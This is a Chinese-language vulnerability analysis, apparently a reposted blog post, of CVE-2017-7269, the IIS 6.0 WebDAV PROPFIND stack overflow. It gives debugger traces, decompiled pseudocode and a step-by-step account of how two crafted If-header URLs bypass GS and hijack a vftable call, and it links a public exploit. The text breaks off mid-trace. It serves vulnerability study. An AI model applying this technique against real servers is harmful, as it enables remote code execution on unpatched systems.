1. 程式人生 > >CVE-2017-7269 IIS6.0遠端程式碼執行漏洞分析及Exploit

CVE-2017-7269 IIS6.0遠端程式碼執行漏洞分析及Exploit

原帖地址:http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html

感謝仙果和Wingdbg,我將我部落格的這篇分析轉到看雪和大家一起分享。我的部落格會長期更新二進位制分析的文章,希望能與大家多多交流,水平不高,大家多多包涵,多多指點。

0x00 前言

CVE-2017-7269是IIS 6.0中存在的一個棧溢位漏洞,在IIS6.0處理PROPFIND指令的時候,由於對url的長度沒有進行有效的長度控制和檢查,導致執行memcpy對虛擬路徑進行構造的時候,引發棧溢位,該漏洞可以導致遠端程式碼執行。

目前在github上有一個在windows server 2003 r2上穩定利用的exploit,這個exp目前執行的功能是彈計算器,使用的shellcode方法是alpha shellcode,這是由於url在記憶體中以寬位元組形式存放,以及其中包含的一些badchar,導致無法直接使用shellcode執行程式碼,而需要先以alpha shellcode的方法,以ascii碼形式以寬位元組寫入記憶體,然後再通過一小段解密之後執行程式碼。

github地址:

https://github.com/edwardz246003/IIS_exploit

這個漏洞其實原理非常簡單,但是其利用方法卻非常有趣,我在入門的時候除錯過很多stack overflow及其exp,但多數都是通過覆蓋ret,覆蓋seh等方法完成的攻擊,直到我見到了這個exploit,感覺非常藝術。但這個漏洞也存在其侷限性,比如對於aslr來說似乎沒有利用面,因此在高版本windows server中利用似乎非常困難,windows server 2003 r2沒有aslr保護。

在這篇文章中,我將首先簡單介紹一下這個漏洞的利用情況;接著,我將和大家一起分析一下這個漏洞的形成原因;然後我將給大家詳細介紹這個漏洞的利用,最後我將簡要分析一下這個漏洞的rop及shellcode。

我是一隻菜鳥,如有不當之處,還望大家多多指正,感謝閱讀!

0x01 彈彈彈--一言不合就“彈”計算器


1、 漏洞環境搭建

漏洞環境的搭建非常簡單,我的環境是windows server 2003 r2 32位英文企業版,安裝之後需要進入系統配置一下iis6.0,首先在登陸windows之後,選擇配置伺服器,安裝iis6.0服務,之後進入iis6.0管理器,在管理器中,有一個windows擴充套件,在擴充套件中有一個webdav選項,預設是禁用狀態,在左側選擇allow,開啟webdav,之後再iis管理器中預設網頁中建立一個虛擬目錄(其實這一步無所謂),隨後選擇run->services.msc->WebClient服務,將其開啟,這樣完成了我的配置。

2、 觸發漏洞

漏洞觸發非常簡單,直接在本地執行python exp.py即可,這裡為了觀察過程,我修改了exp,將其改成遠端,我們通過wireshark抓包,可以看到和目標機的互動行為。

 

可以看到,攻擊主機向目標機發送了一個PROPFIND資料包,這個是負責webdav處理的一個指令,其中包含了我們的攻擊資料,一個<>包含了兩個超長的httpurl請求,其中在兩個http url中間還有一個lock token的指令內容。

隨後我們可以看到,在靶機執行了calc,其程序建立在w2wp程序下,使用者組是NETWORK SERVICE。

 

我在最開始的時候以為這個calc是由於SW_HIDE的引數設定導致在後臺執行,後來發現其實是由於webdav服務程序本身就是無視窗的,導致calc即使定義了SW_SHOWNORMAL,也只是在後臺啟動了。

事實上,這個漏洞及時沒有後面的<>中的http url,單靠一個IF:<>也能夠觸發,而之所以加入了第二個<>以及lock token,是因為作者想利用第一次和第二次http請求來完成一次精妙的利用,最後在<lock token>指令下完成最後一擊。

我嘗試去掉第二次<>以及<lock token>請求,同樣能引發iis服務的crash。
 

0x02 CVE-2017-7269漏洞分析

這個漏洞的成因是在WebDav服務動態連結庫的httpext.dll的ScStorageFromUrl函式中,這裡為了方便,我們直接來跟蹤分析該函式,在下一小節內容,我將和大家來看看整個精妙利用的過程。我將先動態分析整個過程,然後貼出這個存在漏洞函式的虛擬碼。

在ScStorageFromUrl函式中,首先會呼叫ScStripAndCheckHttpPrefix函式,這個函式主要是獲取頭部資訊進行檢查以及對host name進行檢查。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

0:009> p//呼叫CchUrlPrefixW獲取url頭部資訊

eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740

eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStripAndCheckHttpPrefix+0x1e:

671335f3 ff5024          call    dword ptr [eax+24h]  ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}

0:009> p

eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740

eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStripAndCheckHttpPrefix+0x21:

671335f6 8bd8            mov     ebx,eax

0:009> dc esi l6//esi存放頭部資訊,以及server name,這個localhost會在後面獲取到。

0060c648  00740068 00700074 002f003a 006c002f  h.t.t.p.:././.l.

0060c658  0063006f 006c0061                    o.c.a.l.


在check完http頭部和hostname之後,會呼叫wlen函式獲取當前http url長度。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

0:009> p

eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000

eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStoragePathFromUrl+0x6d:

67126ce8 50              push    eax

0:009> p

eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000

eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStoragePathFromUrl+0x6e:

67126ce9 ff1550121167    call    dword ptr [httpext!_imp__wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}

0:009> r eax

eax=0060e7d0

0:009> dc eax

0060e7d0  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.

0060e7e0  61757948 6f674f43 48456b6f 67753646  HyuaCOgookEHF6ug

0060e7f0  38714433 5a625765 56615435 6a536952  3Dq8eWbZ5TaVRiSj

0060e800  384e5157 63555948 43644971 34686472  WQN8HYUcqIdCrdh4

0060e810  71794758 6b55336b 504f6d48 34717a46  XGyqk3UkHmOPFzq4

0060e820  74436f54 6f6f5956 34577341 7a726168  ToCtVYooAsW4harz

0060e830  4d493745 5448574e 367a4c38 62663572  E7IMNWHT8Lz6r5fb

0060e840  486d6e43 61773548 61744d5a 43654133  CnmHH5waZMta3AeC

0:009> p

eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000

eip=67126cef esp=00fff32c ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x74:

67126cef 59              pop     ecx

0:009> r eax

eax=000002fd


在利用的關鍵一次,我們獲取的是poc中http://localhost/bbbbb的字串,這個字串長度很長,可以看到eax暫存器存放的是url長度,長度是0x2fd,隨後會進入一系列的判斷,主要是檢查url中一些特殊字元,比如0x2f。

1

2

3

4

5

6

7

8

9

10

0:009> g//eax存放的是指向url的指標,這裡會獲取指標的第一個字元,然後和“/”作比較

Breakpoint 1 hit

eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000

eip=67126cd7 esp=00fff334 ebp=00fff798 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStoragePathFromUrl+0x5c:

67126cd7 6683382f        cmp     word ptr [eax],2Fh       ds:0023:0060e7d0=002f

0:009> dc eax

0060e7d0  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.

0060e7e0  61757948 6f674f43 48456b6f 67753646  HyuaCOgookEHF6ug


經過一系列的檢查之後,會進入一系列的memcpy函式,主要就是用來構造虛擬檔案路徑,這個地方拷貝的長度沒有進行控制,而拷貝的目標地址,是在外層函式呼叫stackbuff申請的地址,這個地址會儲存在棧裡。在ScStorageFromUrl函式中用到,也就是在memcpy函式中用到,作為目的拷貝的地址。

ScStorageFromUrl函式中實際上在整個漏洞觸發過程中會呼叫很多次,我們跟蹤的這一次,是在漏洞利用中的一個關鍵環節之一。首先我們來看一下第一次有效的memcpy

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

0:009> p

eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0

eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

httpext!ScStoragePathFromUrl+0x32e:

67126fa9 8db5c4fbffff    lea     esi,[ebp-43Ch]

0:009> p

eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0

eip=67126faf esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

httpext!ScStoragePathFromUrl+0x334:

67126faf f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:009> r esi

esi=00fff35c

0:009> dc esi

00fff35c  003a0063 0069005c 0065006e 00700074  c.:.\.i.n.e.t.p.

00fff36c  00620075 0077005c 00770077 006f0072  u.b.\.w.w.w.r.o.

00fff37c  0074006f 0062005c 00620062 00620062  o.t.\.b.b.b.b.b.

00fff38c  00620062 61757948 6f674f43 48456b6f  b.b.HyuaCOgookEH


這次memcpy拷貝過程中,會將esi暫存器中的值拷貝到edi暫存器中,可以看到edi暫存器的值是0x680312c0,這個值很有意思,在之前我提到過,這個buffer的值會在外層函式中申請,並存放在棧中,因此正常情況應該是向一個棧地址拷貝,而這次為什麼會向一個堆地址拷貝呢?

這是個懸念,也是我覺得這個利用巧妙的地方,下面我們先進入後面的分析,在memcpy中,也就是rep movs中ecx的值決定了memcpy的長度,第一次拷貝的長度是0x9。

接下來,回進入第二次拷貝,這次拷貝的長度就比較長了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

0:009> p//長度相減,0x2fd-0x0

eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4

eip=67126fc4 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStoragePathFromUrl+0x349:

67126fc4 2bda            sub     ebx,edx

0:009> r ebx

ebx=000002fd

0:009> r edx

edx=00000000

0:009> p

eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4

eip=67126fc6 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x34b:

67126fc6 8d3456          lea     esi,[esi+edx*2]

0:009> p

eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4

eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x34e:

67126fc9 8b95b0fbffff    mov     edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0

0:009> p

eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4

eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x354:

67126fcf 8d3c10          lea     edi,[eax+edx]

0:009> p//ecx的值為dword值

eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4

eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x357:

67126fd2 8d4c1b02        lea     ecx,[ebx+ebx+2]

0:009> p

eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4

eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x35b:

67126fd6 8bc1            mov     eax,ecx

0:009> p//最後拷貝的長度再除以4

eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4

eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x35d:

67126fd8 c1e902          shr     ecx,2

0:009> p//這次拷貝17f的值 key!!!看ecx

eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4

eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl+0x360:

67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]


可以看到,這次拷貝的長度是0x17f,長度非常大,而在整個分析的過程中,並沒有對拷貝的長度進行控制,因此,可以拷貝任意超長的字串,進入這個堆空間。

這個堆空間非常有意思,存放的是一個vftable,這個vftable會在ScStorageFromUrl函式中的某個內層函式呼叫呼叫到,還記得之前分析的ScStripAndCheckHttpPrefi函式嗎
 

1

2

3

4

5

6

0:009> p//正常情況ScStripAndCheckHttpPrefix函式中對vftable的獲取

eax=00fff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740

eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStripAndCheckHttpPrefix+0x13:

671335e8 8b07            mov     eax,dword ptr [edi]  ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}


獲取完虛表之後,會獲取到對應的虛擬函式,在ScStripAndCheckHttpPrefix函式中call呼叫到。但是由於之前的memcpy覆蓋,導致這個vftable被覆蓋
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

0:009> p

eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStripAndCheckHttpPrefix+0x1b:

671335f0 8955f4          mov     dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000

0:009> p//eax是vftable,而call [eax+24]呼叫虛擬函式,這裡由於之前的覆蓋,導致跳轉到可控位置

eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0

eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!ScStripAndCheckHttpPrefix+0x1e:

671335f3 ff5024          call    dword ptr [eax+24h]  ds:0023:680313e4=68016082

0:009> dc eax

680313c0  680313c0 68006e4f 68006e4f 766a4247  ...hOn.hOn.hGBjv

680313d0  680313c0 4f744257 52345947 4b424b66  ...hWBtOGY4RfKBK


這個漏洞的原理非常簡單,在PROPFIND中,由於對http的長度沒有進行檢查,導致在memcpy中,可以拷貝超長的字串,覆蓋到棧中的關鍵位置,下面來看一下虛擬碼。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

__int32 __fastcall ScStoragePathFromUrl(const struct IEcb *a1, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVRoot **a5)

{

v35 = a3;

v5 = a1;

Str = a2;

v37 = (int)a1;

v34 = a4;

v33 = a5;

result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//主要用來檢查開頭資訊,比如http頭以及host等等

if ( result < 0 )

return result;

if ( *Str != 47 )//判斷第一個值是不是/

return -2146107135;

v7 = _wcslen(Str);//獲取str長度,也就是畸形url長度

result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);

v36 = result;

if ( result < 0 )

return result;

v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW (6712d665) 獲取虛擬路徑

if ( v8 == v42 )

{

if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )

goto LABEL_14;

}

else if ( v8 + 1 == v42 )

{

v9 = Str[v8];

if ( v9 == 47 || !v9 )

{

--v42;

goto LABEL_14;

}

}

v36 = 1378295;

LABEL_14:

if ( v36 == 1378295 && a5 )

{

……

}

v16 = v41;

if ( v41 )

{

v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);

if ( *v17 == 92 )

{

while ( v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16) )

{

v41 = --v16;

--v17;

}

}

else if ( !*v17 )

{

v16 = v41-- - 1;

}

}

v18 = v16 - v42 + v7 + 1;

v19 = *v34 < v18;

v37 = v16 - v42 + v7 + 1;

if ( v19 )

{

……

}

else//進入這一處else處理

{

v21 = v35;

v22 = v16;

v23 = 2 * v16;

v24 = (unsigned int)(2 * v16) >> 2;

qmemcpy(v35, WideCharStr, 4 * v24);//拷貝虛擬路徑

v26 = &WideCharStr[2 * v24];

v25 = &v21[2 * v24];

LOBYTE(v24) = v23;

v27 = v42;

qmemcpy(v25, v26, v24 & 3);

v28 = v7 - v27;//這裡v7是0x2fd,相減賦值給v28,這個值很大,v27為0

v29 = &Str[v27];

v30 = v35;

qmemcpy(&v35[v22], v29, 2 * v28 + 2);//直接拷貝到棧中,沒有對長度進行檢查,導致溢位

for ( i = &v30[v41]; *i; ++i )

{

if ( *i == 47 )

*i = 92;

}

*v34 = v37;

result = v36;

}

return result;

}


0x03 CVE-2017-7269 Exploit!精妙的漏洞利用

其實通過上面的分析,我們發現這個漏洞的 原理非常簡單,但是究竟如何利用呢,我們來看一下關於ScStorageFromUrl函式中,包含了GS check,也就是說,我們在進行常規的覆蓋ret方式利用的情況下,將會把cookie也會覆蓋,導致利用失敗。

1

2

3

4

5

6

7

8

9

10

.text:67127017 loc_67127017:                           ; CODE XREF: ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+50j

.text:67127017                                         ; ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+67j

.text:67127017                 mov     ecx, [ebp+var_C]

.text:6712701A                 pop     edi

.text:6712701B                 mov     large fs:0, ecx

.text:67127022                 mov     ecx, [ebp+var_10]

.text:67127025                 pop     esi

.text:67127026                 call    @[email protected] ; __security_check_cookie(x)

.text:6712702B                 leave

.text:6712702C                 retn    0Ch


漏洞利用非常精妙,也就是用這種方法,巧妙的繞過了gs的檢查,最後達到漏洞利用,穩定的程式碼執行,首先,WebDav對資料包的處理邏輯是在DAVxxx函式中完成的。比如當前資料包是PROPFIND,那麼當前的函式處理邏輯就是DAVpropfind函式。

1

2

3

4

5

6

7

8

0:009> kb

ChildEBP RetAddr  Args to Child              

00fff798 67119469 680312c0 00fff800 00000000 httpext!ScStoragePathFromUrl

00fff7ac 6712544a 0060e7b0 680312c0 00fff800 httpext!CMethUtil::ScStoragePathFromUrl+0x18

00fffc34 6712561e 0060b508 0060584e 00fffc78 httpext!HrCheckIfHeader+0x124

00fffc44 6711f659 0060b508 0060584e 00000001 httpext!HrCheckStateHeaders+0x10

00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0xf0

00fffc90 671296f2 0060c010 00000004 01017af8 httpext!DAVPropFind+0x47


在內層的函式處理邏輯中,有一處關鍵的函式處理邏輯HrCheckIfHeader,主要負責DAVPropFind函式對頭部的check,這個函式處理邏輯中有一處while迴圈,我已經把這個迴圈的關鍵位置的註釋寫在虛擬碼中。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

__int32 __stdcall HrCheckIfHeader(struct CMethUtil *a1, const unsigned __int16 *a2)

while ( 2 )

{

v6 = IFITER::PszNextToken(&v20, 0);

v7 = v6;

if ( v6 )//這裡獲取下一個url值,第一輪會進入這裡,第二輪也會,第三輪就進不去了

{

CStackBuffer<unsigned short,260>::CStackBuffer<unsigned short,260>(260);

v9 = (const wchar_t *)(v7 + 2);

LOBYTE(v34) = 2;

v27 = _wcslen(v9);

if ( !CStackBuffer<unsigned short,260>::resize(2 * v27 + 2) )

goto LABEL_35;

v5 = ScCanonicalizePrefixedURL(v9, v32, &v27);

if ( v5 )

goto LABEL_43;

v27 = v29 >> 3;

v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);

if ( v5 == 1 )

{

if ( !CStackBuffer<unsigned short,260>::resize(v27) )

{

LABEL_35:

LOBYTE(v34) = 1;

CStackBuffer<char,260>::release(&v31);

v5 = -2147024882;

goto LABEL_39;

}

v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);

}

if ( v5 < 0 )

{

LABEL_43:

LOBYTE(v34) = 1;

CStackBuffer<char,260>::release(&v31);

goto LABEL_39;

}

v10 = _wcslen(Str);

v27 = v10;

v11 = &Str[v10 - 1];

if ( *v11 == 62 )

*v11 = 0;

v8 = Str;

LOBYTE(v34) = 1;

CStackBuffer<char,260>::release(&v31);

}

else

{

if ( !v25 )//進不去就跳入這裡,直接break掉,隨後進入locktoken,會呼叫sc函式

goto LABEL_38;

v8 = (const unsigned __int16 *)v24;

}

v25 = 0;

for ( i = (wchar_t *)IFITER::PszNextToken(&v20, 2); ; i = (wchar_t *)IFITER::PszNextToken(&v20, v19) )

{

v17 = i;

if ( !i )

break;

v12 = *i;

if ( *v17 == 60 )

{

v13 = HrValidTokenExpression((int)a1, v17, (int)v8, 0);

}

else if ( v12 == 91 )

{

if ( !FGetLastModTime(0, v8, (struct _FILETIME *)&v23)

|| !FETagFromFiletime((int)&v23, &String, *((_DWORD *)a1 + 4)) )

{

LABEL_26:

if ( v22 )

goto LABEL_27;

goto LABEL_30;

}

v14 = v17 + 1;

if ( *v14 == 87 )

v14 += 2;

v15 = _wcslen(&String);

v13 = _wcsncmp(&String, v14, v15);

}

else

{

v13 = -2147467259;

}

if ( v13 )

goto LABEL_26;

if ( !v22 )//如果不等於22,則v26為1 continue,這裡v22為0

{

LABEL_27:

v26 = 1;

v19 = 3;

continue;

}

LABEL_30:

v26 = 0;

v19 = 4;

}

v2 = 0;

if ( v26 )//這裡進這裡

{

v6 = IFITER::PszNextToken(&v20, 1);//獲得下一個url部分,第一次處理完,由於後面還有url,所以這裡v6會有值,而第二次,這裡後面沒有值了

continue;

}

break;

}


如果看的比較迷糊,可以看我下面的描述,首先這個while函式中,有一個非常有意思的函式PszNextToken,這個函式會連續獲取<>中的http url,直到後面沒有http url,則跳出迴圈,這也是這個漏洞利用的關鍵條件。

首先,第一次會處理IF後面的第一個http url,這個url就是http://localhost/aaaa..,這個處理過程,實際上就完成了第一次溢位,首先stackbuffer會通過CStackBuffer函式獲取,獲取到之後,這個值會存放在stack中的一個位置。接下來會進行第一次ScStorageFromUrl,這個地方會對第一個<>中的http url處理。長度是0xa7。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

0:009> p

eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2

eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!HrCheckIfHeader+0xbc:

671253e2 ffd7            call    edi {msvcrt!wcslen (77bd8ef2)}//第一次處理aaaa部分,長度只有a7

0:009> dc 60c64a

0060c64a  00740068 00700074 002f003a 006c002f  h.t.t.p.:././.l.

0060c65a  0063006f 006c0061 006f0068 00740073  o.c.a.l.h.o.s.t.

0060c66a  0061002f 00610061 00610061 00610061  /.a.a.a.a.a.a.a.

0060c67a  78636f68 71337761 47726936 4b777a39  hocxaw3q6irG9zwK

0:009> p

eax=000000a7


這個a7長度很小,不會覆蓋到gs,因此可以通過security check,但是這個a7卻是一個溢位,它超過了stack buffer的長度,會覆蓋到stack中關於stack buffer指標的存放位置。這個位置儲存在ebp-328的位置。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

0:009> p

eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2

eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!HrCheckIfHeader+0x153:

67125479 ffb5e4fdffff    push    dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828

0:009> p

eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2

eip=6712547f esp=00fff7b4 ebp=00fffc34 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!HrCheckIfHeader+0x159:

6712547f e8cd3fffff      call    httpext!CMethUtil::ScStoragePathFromUrl (67119451)

0:009> dd ebp-328//注意拷貝的地址,這個90c是scstoragepathfromurl要拷貝的棧地址

00fff90c  00fff804 6711205b 00000013 00fff9c0

00fff91c  671287e7 00000000 000000f0 00000013


可以看到,第一次ScStoragePathFromUrl的時候,拷貝的地址是一個棧地址,通過stackbuffer申請到的,但是由於memcpy引發的棧溢位,導致這個地方值會被覆蓋。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

0:009> g//執行結束ScStoragePathFromUrl函式執行返回後

Breakpoint 0 hit

eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2

eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!ScStoragePathFromUrl:

67126c7b b8150d1467      mov     eax,offset httpext!swscanf+0x14b5 (67140d15)

0:009> g

Breakpoint 3 hit

eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2

eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

httpext!HrCheckIfHeader+0x15e:

67125484 8bf0            mov     esi,eax

0:009> dc fff804//第一次memcpy之後,覆蓋到了90c的位置

00fff804  003a0063 0069005c 0065006e 00700074  c.:.\.i.n.e.t.p.

00fff814  00620075 0077005c 00770077 006f0072  u.b.\.w.w.w.r.o.

00fff824  0074006f 0061005c 00610061 00610061  o.t.\.a.a.a.a.a.

00fff834  00610061 78636f68 71337761 47726936  a.a.hocxaw3q6irG

00fff844  4b777a39 75534f70 48687a4f 6d545663  9zwKpOSuOzhHcVTm

00fff854  39536845 5567506c 33646763 78454630  EhS9lPgUcgd30FEx

00fff864  54316952 6a514c58 42317241 58507035  Ri1TXLQjAr1B5pPX

00fff874  6c473664 546a3539 54435034 50617752  d6Gl95jT4PCTRwaP

0:009> dd fff900

00fff900  5a306272 54485938 02020202 680312c0


經過這次stack buffer overflow,這個值已經被覆蓋,覆蓋成了一個堆地址0x680312c0。接下來進入第二次呼叫。
 

1

2

3

4

5

6

7

8

9

10

11

12

0:009> p

eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2

eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

httpext!HrCheckIfHeader+0xbc:

671253e2 ffd7            call    edi {msvcrt!wcslen (77bd8ef2)}

0:009> dc 60d32a

0060d32a  00740068 00700074 002f003a 006c002f  h.t.t.p.:././.l.

0060d33a  0063006f 006c0061 006f0068 00740073  o.c.a.l.h.o.s.t.

0060d34a  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.

0:009> p

eax=0000030d


第二次獲得http://localhost/bbbbb...的長度,這個長度有0x30d,非常長,但是對應儲存的位置變了。
 

1

2

3

4

5

6

7

8

9

10

11

12

13

